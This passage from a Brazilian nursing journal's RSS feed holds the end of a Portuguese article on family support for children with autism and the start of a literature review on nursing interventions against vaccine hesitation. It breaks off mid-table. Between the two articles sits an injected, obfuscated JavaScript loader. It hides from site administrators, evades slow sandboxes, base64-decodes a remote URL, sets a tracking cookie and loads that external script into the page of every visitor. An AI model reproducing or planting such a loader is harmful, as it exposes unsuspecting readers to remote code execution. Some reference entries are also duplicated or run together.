<p class="wp-block-paragraph">O sistema de saúde brasileiro voltado para a assistência às pessoas com Transtorno do Espectro Autista apresenta fragilidades estruturais e organizacionais, sobretudo por se tratar de uma condição multifatorial que exige ações integradas e contínuas nos diferentes níveis de atenção. Essas fragilidades impactam diretamente o desenvolvimento e a efetivação de programas capazes de promover melhorias significativas na qualidade de vida dessa população. No que se refere à enfermagem, os desafios tornam-se ainda mais evidentes diante da sobrecarga de trabalho, da limitação de recursos humanos e da insuficiência de capacitação profissional, fatores que interferem na assistência ofertada tanto no Sistema Único de Saúde quanto na rede privada (BRASIL, 2015; BRASIL, 2017).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Apesar dessas limitações, observa-se que avanços importantes têm sido alcançados no âmbito da Atenção Primária à Saúde. A realização adequada da puericultura pelo enfermeiro possibilita a identificação precoce de sinais sugestivos do TEA, favorecendo o diagnóstico ainda nos primeiros anos de vida. Nesse contexto, destaca-se o uso de instrumentos de rastreamento do desenvolvimento infantil, como o Modified Checklist for Autism in Toddlers (M-CHAT), indicado para crianças entre 16 e 30 meses, o qual auxilia o enfermeiro na detecção precoce de riscos e no encaminhamento oportuno para a equipe multiprofissional, incluindo psicólogo e psiquiatra (ROBINS et al., 2014; CDC, 2023).&nbsp; &nbsp; &nbsp; A literatura aponta a existência de uma diversidade de abordagens terapêuticas e estratégias informativas que contribuem para o cuidado de crianças com TEA, beneficiando profissionais de saúde, famílias e pacientes, especialmente em países desenvolvidos, onde há maior investimento em políticas públicas e capacitação profissional. Contudo, no contexto brasileiro, ainda persiste um déficit relacionado à disponibilidade de profissionais especializados ou devidamente capacitados para atuar na assistência ao TEA, independentemente do nível de atenção, o que compromete a integralidade do cuidado (BRASIL, 2015).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Outro aspecto recorrente nos estudos analisados refere-se à importância atribuída pelos profissionais de saúde à inserção da família no processo terapêutico. As orientações direcionadas aos familiares visam fomentar o desenvolvimento da comunicação social, intelectual e psicomotora da criança, respeitando as particularidades e a realidade de cada núcleo familiar, o que contribui para intervenções mais eficazes e contextualizadas (SANTOS et al., 2020).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A enfermagem destaca-se como um dos principais agentes na oferta do cuidado e na promoção da educação em saúde às famílias de crianças com TEA. Entretanto, limitações estruturais e organizacionais acabam restringindo sua atuação, levando muitos familiares a buscarem informações em fontes alternativas, principalmente na internet, onde frequentemente encontram conteúdos equivocados ou sem respaldo científico, o que pode comprometer o manejo adequado do transtorno (MINATEL; MATSUKURA, 2014). &nbsp; &nbsp; As mudanças no estilo de vida impostas pelo diagnóstico do TEA afetam significativamente o cuidador principal, sobretudo no que diz respeito à conciliação entre trabalho formal e as demandas intensas de acompanhamento terapêutico da criança. A indisponibilidade de serviços especializados em determinadas localidades, aliada aos custos financeiros relacionados ao tratamento e às adaptações necessárias, impacta de forma mais severa as famílias de baixa renda, evidenciando desigualdades no acesso aos serviços de saúde e assistência social (SILVA; SCHMIDT, 2018).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O ambiente escolar também é reconhecido como um espaço fundamental no processo diagnóstico e terapêutico da criança com TEA, por se configurar como o primeiro ambiente social estruturado no qual a criança é inserida. Uma comunicação eficaz entre escola e família favorece a identificação precoce de sinais do transtorno e a implementação de práticas inclusivas que estimulem a interação social, reduzindo o estigma e promovendo o desenvolvimento integral da criança (ZANON; BACKES; BOSA, 2014).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, torna-se evidente a necessidade de um cuidado pautado na integralidade, que contemple não apenas as necessidades da criança com TEA, mas também a saúde mental e o bem-estar de seus familiares. A consolidação desse modelo de cuidado ainda representa um desafio no Brasil, reforçando a importância das políticas públicas, da educação em saúde e do fortalecimento das redes de apoio como estratégias essenciais para a qualificação da assistência (BRASIL, 2012).&nbsp;&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>CONSIDERAÇÕES</strong> <strong>FINAIS</strong> &nbsp; <strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo buscou evidenciar o papel da assistência familiar no tratamento de crianças com Transtorno do Espectro Autista, bem como os fatores que permeiam essa assistência, desde a aceitação do diagnóstico até a readequação da dinâmica familiar nos diversos âmbitos que envolvem o cuidado e o tratamento da criança com TEA. Nesse contexto, considerando as fragilidades ainda existentes na assistência às pessoas com TEA no sistema de saúde brasileiro, destaca-se a importância de profissionais capacitados, especialmente o enfermeiro, capazes de promover um acolhimento integral à família, oferecer orientações adequadas e desenvolver ações de promoção da saúde, contribuindo também para a elaboração e implementação de medidas voltadas à recuperação e reabilitação do indivíduo.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Observa-se que o cuidado centralizado exclusivamente na criança com TEA pode resultar na negligência das necessidades da família e de seus cuidadores, ocasionando sobrecarga emocional, exaustão materna, negação do diagnóstico por parte de alguns familiares e dificuldades na compreensão dos comportamentos apresentados pela criança. Tais fatores podem comprometer a qualidade do cuidado prestado, reforçando a necessidade de uma assistência que inclua a família como parte fundamental do processo terapêutico. Assim, torna-se imprescindível a atuação de profissionais qualificados que promovam a inserção contínua de cuidados e orientações direcionadas aos familiares, favorecendo um manejo mais humanizado e eficaz. Apesar do expressivo número de estudos voltados à assistência à criança com Transtorno do Espectro Autista, identificou-se uma produção científica ainda limitada no que se refere ao papel assistencial da família no enfrentamento do diagnóstico e no cuidado cotidiano. Diante disso, acredita-se que os achados deste estudo possam contribuir para a ampliação do conhecimento acerca da importância do apoio familiar no tratamento de crianças com TEA. Recomenda-se, portanto, a realização de pesquisas futuras que explorem de forma mais aprofundada as dificuldades vivenciadas pelas famílias, especialmente pelas mães, bem como estratégias que favoreçam a promoção de um cuidado integral, com vistas à melhoria da qualidade da assistência prestada à criança e à sua família.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.</strong> <strong>REFERÊNCIAS&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">AMERICAN PSYCHIATRIC ASSOCIATION. DSM-5-TR: Manual diagnóstico e estatístico de transtornos mentais. 5. Ed. Ver. Porto Alegre: Artmed, 2022.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Lei nº 12.764, de 27 de dezembro de 2012. Institui a Política Nacional de Proteção dos Direitos da Pessoa com Transtorno do Espectro Autista. Diário Oficial da União, Brasília, DF, 28 dez. 2012.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Linha de cuidado para a atenção às pessoas com Transtorno do Espectro Autista (TEA). Brasília: Ministério da Saúde, 2015.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">CENTERS FOR DISEASE CONTROL AND PREVENTION (CDC). Prevalence of&nbsp;Autism Spectrum Disorder among children. Atlanta, 2023.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">MINATEL, M. M.; MATSUKURA, T. S. Família de crianças e adolescentes com transtorno do espectro autista: percepções do cotidiano. Cadernos de Terapia Ocupacional da UFSCar, v. 22, n. 3, p. 529–538, 2014.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, L. F. et al. A participação da família no cuidado à criança com transtorno do espectro autista. Revista Brasileira de Enfermagem, v. 73, supl. 2, e20190198, 2020.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SILVA, A. C.; SCHMIDT, C. Estresse, sobrecarga e qualidade de vida em mães de crianças com transtorno do espectro autista. Psicologia: Teoria e Prática, v. 20, n. 2, p. 45–58, 2018.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Lei nº 12.764, de 27 de dezembro de 2012. Institui a Política Nacional de Proteção dos Direitos da Pessoa com Transtorno do Espectro Autista. Diário Oficial da União, Brasília, DF, 28 dez. 2012.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Page MJ, Mckenzie JE, Bossuyt PM, Boutron I, Hoffmann TC, Multrow CD, et al. The PRISMA 2020 statement: an updated guideline for reporting systematic reviews. BMJ. 2021; 372(71). DOI: 10.1186/s13643-021-01626-4BRASIL. Ministério da Saúde. Linha de cuidado para a atenção às pessoas com Transtorno do Espectro Autista (TEA). Brasília: Ministério da Saúde, 2015.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Política Nacional de Atenção Básica. Brasília:&nbsp; Ministério da Saúde, 2017.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">CENTERS FOR DISEASE CONTROL AND PREVENTION (CDC). Screening and&nbsp;Diagnosis of Autism Spectrum Disorder. Atlanta, 2023.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">ROBINS, D. L. et al. Validation of the Modified Checklist for Autism in Toddlers, Revised with Follow-up (M-CHAT-R/F). Pediatrics, v. 133, n. 1, p. 37–45, 2014.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SILVA, A. C.; SCHMIDT, C. Estresse, sobrecarga e qualidade de vida em mães de crianças com transtorno do espectro autista. Psicologia: Teoria e Prática, v. 20, n. 2, p. 45–58, 2018.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">MINATEL, M. M.; MATSUKURA, T. S. Família de crianças e adolescentes com transtorno do espectro autista: percepções do cotidiano. Cadernos Brasileiros de Terapia Ocupacional, v. 22, n. 3, p. 529–538, 2014.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, L. F. et al. A atuação da enfermagem no cuidado à criança com transtorno do espectro autista. Revista Brasileira de Enfermagem, v. 73, supl. 2, e20190198, 2020.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">ZANON, R. B.; BACKES, B.; BOSA, C. A. Identificação dos primeiros sinais do autismo pelos pais. Psicologia: Teoria e Pesquisa, v. 30, n. 1, p. 25–33, 2014.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">¹Graduando em Enfermagem UFMA, 10<sup>0</sup> período.<br>²Enfermeira – UFMA, Pós-graduada em Enfermagem na Atenção Primária com Ênfase na Estratégia Saúde da Família.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>INTERVENÇÕES DE ENFERMAGEM NO COMBATE DA HESITAÇÃO VACINAL EM CRIANÇAS ATÉ 5 ANOS</title>
		<link>https://revistaft.com.br/intervencoes-de-enfermagem-no-combate-da-hesitacao-vacinal-em-criancas-ate-5-anos/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 12 Jan 2026 19:01:44 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=263127</guid>

					<description><![CDATA[NURSING INTERVENTIONS IN COMBATING VACCINE HESITATION IN CHILDREN UP TO 5 YEARS OLD REGISTRO DOI: 10.69849/revistaft/cl10202601121600 Carla Pereira dos Santos1 / Leir da Conceição Marins Cândido2 / Maria Antonia Nascimento da Silva Rodrigues3 / Vitória Eloir Vieira de Souza4 / Claudemir Santos de Jesus5 / Márcia Calazans de Almeida Brunner6 / Lígia D’arc Silva Rocha [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">NURSING INTERVENTIONS IN COMBATING VACCINE HESITATION IN CHILDREN UP TO 5 YEARS OLD</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601121600</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Carla Pereira dos Santos<sup>1</sup> / Leir da Conceição Marins Cândido<sup>2</sup> / Maria Antonia Nascimento da Silva Rodrigues<sup>3</sup> / Vitória Eloir Vieira de Souza<sup>4</sup> / Claudemir Santos de Jesus<sup>5</sup> / Márcia Calazans de Almeida Brunner<sup>6</sup> / Lígia D’arc Silva Rocha Prado<sup>7</sup> / Alessandra Teixeira Velasco<sup>8</sup> / Tamara Sousa de Araújo<sup>9</sup> / Cátia Ribeiro Kurpan<sup>10</sup> / Raquel dos Santos D&#8217;Anello<sup>11</sup> / Beatriz Piredda Barrilhas<sup>12</sup> / Cassiane Queiroz Thimoteo Silva<sup>13</sup> / Bruno Fernando Correa Miguel<sup>14</sup> / Angelo Pereira Barbosa da Silva<sup>15</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">A queda da cobertura vacinal no Brasil está relacionada a alguns fatores, como notícias falsas, desinformação, fatores socioeconômicos, crenças pessoais entre outros, o que vem contribuir para o aumento de doenças erradicadas. Por essa razão o enfermeiro tem um papel crucial no enfrentamento dessas barreiras. Objetivo: Propor intervenções de enfermagem por meio de uma revisão da literatura sistematizada para que os profissionais possam orientar a população, ao sensibilizar a importância da vacinação. Método: Revisão integrativa da literatura com análise dos materiais publicados entre 2019 e 2024, nas bases de dados Biblioteca Virtual em Saúde (BVS), Scientific Electronic Library Online (SciELO), Coordenação de Aperfeiçoamento de Pessoal de Nível Superior CAPES, Google Scholar. Resultados: Na pesquisa inicial foram identificados 83 estudos, onde apenas 12 atenderam os critérios de inclusão, e através desses foram possíveis identificar os fatores da hesitação vacinal, os principais foram a fake news, movimento anti vacinas e desinformação. Considerações finais: Com base nos diferentes fatores que levam a hesitação vacinal, fica evidente a importância do enfermeiro em compreender esses fatores e com base neles propor intervenções de enfermagem junto com outros profissionais e a população, dessa forma, possibilitar a sensibilização da população da importância da vacinação na primeira infância.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Vacinação Infantil. Criança. Intervenções de Enfermagem.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">Ao longo da história, a vacinação centrado nas crianças foi descentralizado para atender toda a população, sendo a primeira vacina em 1804, cujo médico Edward Jenner criou uma forma de combater a varíola, que assolava o Brasil no século XVIII até o início do XIX, após 100 anos, já sendo obrigatório à população, houve a primeira recusa intitulada a Revolta da Vacina em 1904, por acreditarem que ao injetar líquidos desconhecidos no corpo poderiam causar reações indesejadas ou até provocar a doença, mas foi declarada erradicada em 1973 não havia mais casos registrados (Sousa et al., 2021; Gugel et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">O Programa Nacional de Imunização (PNI) criado 1973, teve o papel de extrema importância na erradicação de várias doenças. A partir do Decreto n° 78.231 de agosto de 1976, quando institucionalizado, foram estabelecidas algumas atribuições e tornou-se um dos programas de imunização mais completos do mundo, ofertadas de forma gratuita cerca de 49 imunobiológicos e 32 vacinas (Sousa et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">A medida que a tecnologia avança fica ainda mais rápido e fácil o acesso e a propagação de notícias falsas, como a fake News, por meio das mídias sociais, desse modo tem se tornado cada dia maior o problema, o que causa riscos à população, principalmente as crianças, alguns motivos que causam a resistência pode estar relacionada a algumas doenças como a microcefalia e o autismo (Lopes et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Diversas doenças podem ser evitadas através da vacinação, uma vez que seguem o calendário vacinal. Mas em casos de crianças não vacinadas, as mesmas ficam suscetíveis a diversas doenças, na busca do cenário anterior, cujo número de óbitos era de uma a cada cinco crianças menores de 5 anos.</p>



<p class="wp-block-paragraph">Dessa forma através da vacinação muitas doenças foram erradicadas, que é uma das maiores conquistas para a saúde pública no Brasil, mas com a grande disseminação de informações falsas, a saúde enfrenta um grande desafio para atingir a cobertura vacinal, pois assim a população ao criar a resistência contra a vacina, por esse motivo nos últimos anos ao presenciar a volta de certas doenças que já tinham sido erradicadas por volta de 1990, como a poliomielite, sarampo e febre amarela (Saraiva; Faria, 2019).&nbsp;</p>



<p class="wp-block-paragraph">No entanto, pode-se observar que houve uma queda na cobertura vacinal considerável nos anos de 2018 a 2023, segundo dados epidemiológicos, teve-se uma cobertura abaixo da meta preconizada pelo Ministério da Saúde. A baixa cobertura vacinal tornou-se um problema para a saúde pública, sendo que no Brasil há um dos melhores e mais amplos programas de imunização.&nbsp;</p>



<p class="wp-block-paragraph">Atualmente as baixas taxas de vacinação estão relacionadas com diversos fatores, esses são os principais: a disseminação de notícias falsas, crenças, motivos socioeconômicos entre outros fatores, e por conta disso pode-se dizer que a enfermagem tem um papel crucial para combater essas barreiras, uma vez que o enfermeiro pode orientar a população sobre a importâncias das vacinas, e com isso sanar as dúvidas com relação às indicações e contraindicações dos imunizantes (Santos et al., 2020).</p>



<p class="wp-block-paragraph">A vacinação infantil compôs, historicamente, uma das estratégias mais eficazes de prevenção em saúde pública. No entanto, apesar dos avanços científicos e do fortalecimento dos programas de imunização, como o Programa Nacional de Imunizações (PNI), observou-se uma crescente hesitação vacinal, especialmente entre os responsáveis por crianças na faixa etária de 0 a 5 anos. Este fenômeno foi caracterizado por dúvidas, recusas ou atrasos na adesão ao calendário vacinal, o que afeta diretamente as metas de cobertura e a proteção coletiva.</p>



<p class="wp-block-paragraph">A hesitação vacinal na infância resultou de uma série de fatores interligados, como o avanço da desinformação nas mídias digitais, o enfraquecimento da confiança nas instituições de saúde, questões religiosas, filosóficas e socioeconômicas.&nbsp;</p>



<p class="wp-block-paragraph">O profissional de enfermagem, inserido no contexto da atenção primária à saúde, assumiu papel essencial na promoção do conhecimento sobre imunizações. Atuou diretamente nas salas de vacina, nos atendimentos em Unidades Básicas de Saúde, visitas domiciliares e ações educativas em comunidades, escolas e outros espaços coletivos. A enfermagem compreende as barreiras da população e desenvolveu estratégias de sensibilização para melhorar a cobertura vacinal e combater a resistência dos responsáveis.</p>



<p class="wp-block-paragraph">A relevância deste estudo residiu na necessidade de fortalecer o papel da enfermagem como agente educador e acolhedor na atenção primária, com vistas a garantir a adesão da população às práticas de imunização. A pesquisa permitiu identificar as barreiras enfrentadas pelos profissionais e as estratégias bem-sucedidas utilizadas nas intervenções. Como afirmaram Santos et al. (2020), a atuação da enfermagem foi determinante para romper com paradigmas negativos relacionados à vacinação e para restabelecer a confiança da comunidade.</p>



<p class="wp-block-paragraph">Este estudo também contribuiu para o ensino de pós-graduação ao ampliar a compreensão crítica sobre a interface entre saúde coletiva, educação em saúde e comunicação de risco. A análise da hesitação vacinal e das intervenções de enfermagem reforçou a importância de abordar esse tema de forma aprofundada em disciplinas voltadas à saúde pública, imunizações e políticas de enfrentamento das fake news em saúde. A construção de conhecimento sólido e aplicável à realidade do SUS fortaleceu a formação de profissionais capazes de intervir com segurança e ética nas comunidades em que atuam.</p>



<p class="wp-block-paragraph">Dessa forma, este trabalho teve como objetivo analisar, por meio de uma revisão sistematizada da literatura, as intervenções de enfermagem no enfrentamento da hesitação vacinal em crianças de até cinco anos, com foco em estratégias educativas e comunicacionais que contribuíram para o aumento da adesão ao calendário vacinal no Brasil (Sousa et al., 2021; Gugel et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, este trabalho teve como objetivo analisar as intervenções de enfermagem no enfrentamento da hesitação vacinal em crianças de até cinco anos no Brasil.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma pesquisa de natureza qualitativa, do tipo revisão sistematizada da literatura, com ênfase na análise crítica e reflexiva de produções científicas relacionadas à temática da vacinação infantil e à atuação da enfermagem frente à baixa cobertura vacinal. A escolha por essa abordagem justifica-se pela necessidade de compreender, com profundidade, os fatores que influenciam a adesão vacinal e os caminhos adotados pelos profissionais de saúde, especialmente os enfermeiros, na orientação e educação da população.</p>



<p class="wp-block-paragraph">A revisão sistematizada da literatura constitui um método que permite reunir, sintetizar e analisar, de forma criteriosa, publicações relevantes sobre um tema específico, com o objetivo de oferecer uma compreensão aprofundada e atualizada do fenômeno investigado (MENDES; SILVEIRA; GALVÃO, 2008). A utilização dessa técnica favoreceu a identificação de evidências científicas quanto às estratégias de intervenção adotadas pela enfermagem no enfrentamento à hesitação vacinal.</p>



<p class="wp-block-paragraph">A elaboração da pergunta norteadora representou a primeira etapa do estudo. Esta foi estruturada com base na estratégia PICO, adaptada para estudos qualitativos, com o intuito de direcionar a busca por evidências. A questão definida foi: <em>Quais estratégias de intervenção foram adotadas pela enfermagem para sensibilizar a população sobre a importância da vacinação infantil diante da queda na cobertura vacinal no Brasil?</em></p>



<p class="wp-block-paragraph">Na segunda etapa, ocorreu o levantamento bibliográfico nas seguintes bases de dados disponíveis na Biblioteca Virtual de Saúde (BVS): LILACS (Literatura Latino-Americana e do Caribe em Ciências da Saúde), BDENF (Base de Dados de Enfermagem) e MEDLINE (Medical Literature Analysis and Retrieval System Online). A seleção dessas bases fundamentou-se na relevância para a área da saúde e na presença de publicações científicas específicas da enfermagem e da saúde pública.</p>



<p class="wp-block-paragraph">Os descritores utilizados foram definidos a partir dos Descritores em Ciências da Saúde (DeCS), sendo eles: <em>“Vacinação Infantil”</em>, <em>“Criança”</em> e <em>“Intervenções de Enfermagem”</em>, combinados com o operador booleano AND, a fim de refinar os resultados. Foram definidos como critérios de inclusão: artigos originais disponíveis em texto completo, em língua portuguesa, publicados entre os anos de 2020 e 2024, que abordassem diretamente a atuação da enfermagem frente à vacinação infantil.</p>



<p class="wp-block-paragraph">Foram excluídos da análise: trabalhos duplicados entre as bases, publicações indisponíveis para acesso completo, resumos sem conteúdo integral, textos publicados em idiomas diferentes do português, bem como artigos que não abordavam diretamente a temática da hesitação vacinal ou a atuação da enfermagem. Publicações como projetos, editoriais, cartas ao editor e revisões sem critérios metodológicos explícitos também foram desconsideradas.</p>



<p class="wp-block-paragraph">Após a seleção dos artigos, foi realizada uma leitura exploratória, seguida pela leitura analítica, o que permitiu identificar as contribuições de cada estudo, os objetivos, metodologias, resultados e principais conclusões. As informações extraídas foram organizadas em quadros sinóticos, com o intuito de facilitar a comparação entre os dados e a elaboração da síntese interpretativa. Essa abordagem permitiu compreender a diversidade das práticas adotadas pela enfermagem, bem como os desafios enfrentados no contexto da baixa cobertura vacinal infantil.</p>



<p class="wp-block-paragraph">Com base nessa análise, foram elaborados diagnósticos de enfermagem fundamentados na Taxonomia da North American Nursing Diagnosis Association (NANDA-I), ferramenta que possibilita a definição e padronização de diagnósticos clínicos de enfermagem, assegurando maior precisão e uniformidade na linguagem profissional. Para a formulação das intervenções de enfermagem, utilizou-se a Nursing Interventions Classification (NIC), que oferece uma estrutura sistematizada e validada para a prática assistencial, contribuindo para a seleção de estratégias eficazes frente à hesitação vacinal.</p>



<p class="wp-block-paragraph">Dessa forma, a metodologia adotada proporcionou uma base sólida e atualizada para subsidiar propostas de intervenções que fortaleçam a adesão à vacinação e valorizem o papel da enfermagem na promoção da saúde pública.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 01</strong>: Cruzamento dos descritores.</p>



<figure class="wp-block-table has-small-font-size"><table><tbody><tr><td class="has-text-align-center" data-align="center"><strong>DESCRITORES</strong></td><td class="has-text-align-center" data-align="center"><strong>TOTAL</strong></td><td class="has-text-align-center" data-align="center"><strong>FILTRO</strong></td><td class="has-text-align-center" data-align="center"><strong>SELEÇÃO</strong></td><td class="has-text-align-center" data-align="center"><strong>2020</strong></td><td class="has-text-align-center" data-align="center"><strong>2021</strong></td><td class="has-text-align-center" data-align="center"><strong>2022</strong></td><td class="has-text-align-center" data-align="center"><strong>2023</strong></td><td class="has-text-align-center" data-align="center"><strong>2024</strong></td></tr><tr><td class="has-text-align-center" data-align="center">Vacinação Infantil and Criança and Intervenções de Enfermagem</td><td class="has-text-align-center" data-align="center">15</td><td class="has-text-align-center" data-align="center">01</td><td class="has-text-align-center" data-align="center">06</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">01</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center"></td></tr><tr><td class="has-text-align-center" data-align="center">Vacinação Infantil and Criança</td><td class="has-text-align-center" data-align="center">101</td><td class="has-text-align-center" data-align="center">03</td><td class="has-text-align-center" data-align="center">03</td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td></tr><tr><td class="has-text-align-center" data-align="center">Vacinação Infantil and Intervenções de Enfermagem</td><td class="has-text-align-center" data-align="center">19</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">02</td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td></tr><tr><td class="has-text-align-center" data-align="center">Criança and Intervenções de Enfermagem</td><td class="has-text-align-center" data-align="center">59</td><td class="has-text-align-center" data-align="center">04</td><td class="has-text-align-center" data-align="center">01</td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td><td class="has-text-align-center" data-align="center"></td></tr><tr><td class="has-text-align-center" data-align="center">TOTAL</td><td class="has-text-align-center" data-align="center">194</td><td class="has-text-align-center" data-align="center">08</td><td class="has-text-align-center" data-align="center">12</td><td class="has-text-align-center" data-align="center">01</td><td class="has-text-align-center" data-align="center">01</td><td class="has-text-align-center" data-align="center">02</td><td class="has-text-align-center" data-align="center">07</td><td class="has-text-align-center" data-align="center">01</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Ao cruzar os descritores <em>“Vacinação Infantil”</em> e <em>“Criança”</em> and <em>“Intervenções de Enfermagem”</em>, obteve-se um total de 15 produções. Após aplicação dos critérios de inclusão, restou 01 artigo selecionado, com destaque para o ano de 2021, no qual houve 01 publicação.</p>



<p class="wp-block-paragraph">Na combinação <em>“Vacinação Infantil”</em> and <em>“Criança”</em>, evidenciaram-se 101 estudos, sendo 03 filtrados conforme os critérios de inclusão, mas nenhum foi selecionado para a amostra final.</p>



<p class="wp-block-paragraph">Já o cruzamento entre <em>“Vacinação Infantil”</em> and <em>“Intervenções de Enfermagem”, </em>apresentou 19 estudos, onde nenhum foi incluído após a filtragem, e 02 foram selecionados para análise.</p>



<p class="wp-block-paragraph">No recorte <em>“Criança”</em> and <em>“Intervenções de Enfermagem”</em>, identificaram-se 59 produções, sendo 04 filtradas, com 01 selecionada.</p>



<p class="wp-block-paragraph">Assim, o cruzamento totalizou 194 produções, com 08 filtradas segundo os critérios de inclusão e 12 artigos selecionados, com maior concentração nos anos de 2022 (02), 2023 (07) e 2024 (01).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 01</strong>: Descritores Isolados</p>



<figure class="wp-block-table has-small-font-size"><table><tbody><tr><td class="has-text-align-center" data-align="center"><strong>DESCRITORES</strong></td><td class="has-text-align-center" data-align="center"><strong>TOTAL</strong></td><td class="has-text-align-center" data-align="center"><strong>FILTRO</strong></td><td class="has-text-align-center" data-align="center"><strong>SELEÇÃO</strong></td><td class="has-text-align-center" data-align="center"><strong>2020</strong></td><td class="has-text-align-center" data-align="center"><strong>2021</strong></td><td class="has-text-align-center" data-align="center"><strong>2022</strong></td><td class="has-text-align-center" data-align="center"><strong>2023</strong></td><td class="has-text-align-center" data-align="center"><strong>2024</strong></td></tr><tr><td class="has-text-align-center" data-align="center">Vacinação Infantil&nbsp;</td><td class="has-text-align-center" data-align="center">1.081</td><td class="has-text-align-center" data-align="center">03</td><td class="has-text-align-center" data-align="center">06</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td></tr><tr><td class="has-text-align-center" data-align="center">Criança</td><td class="has-text-align-center" 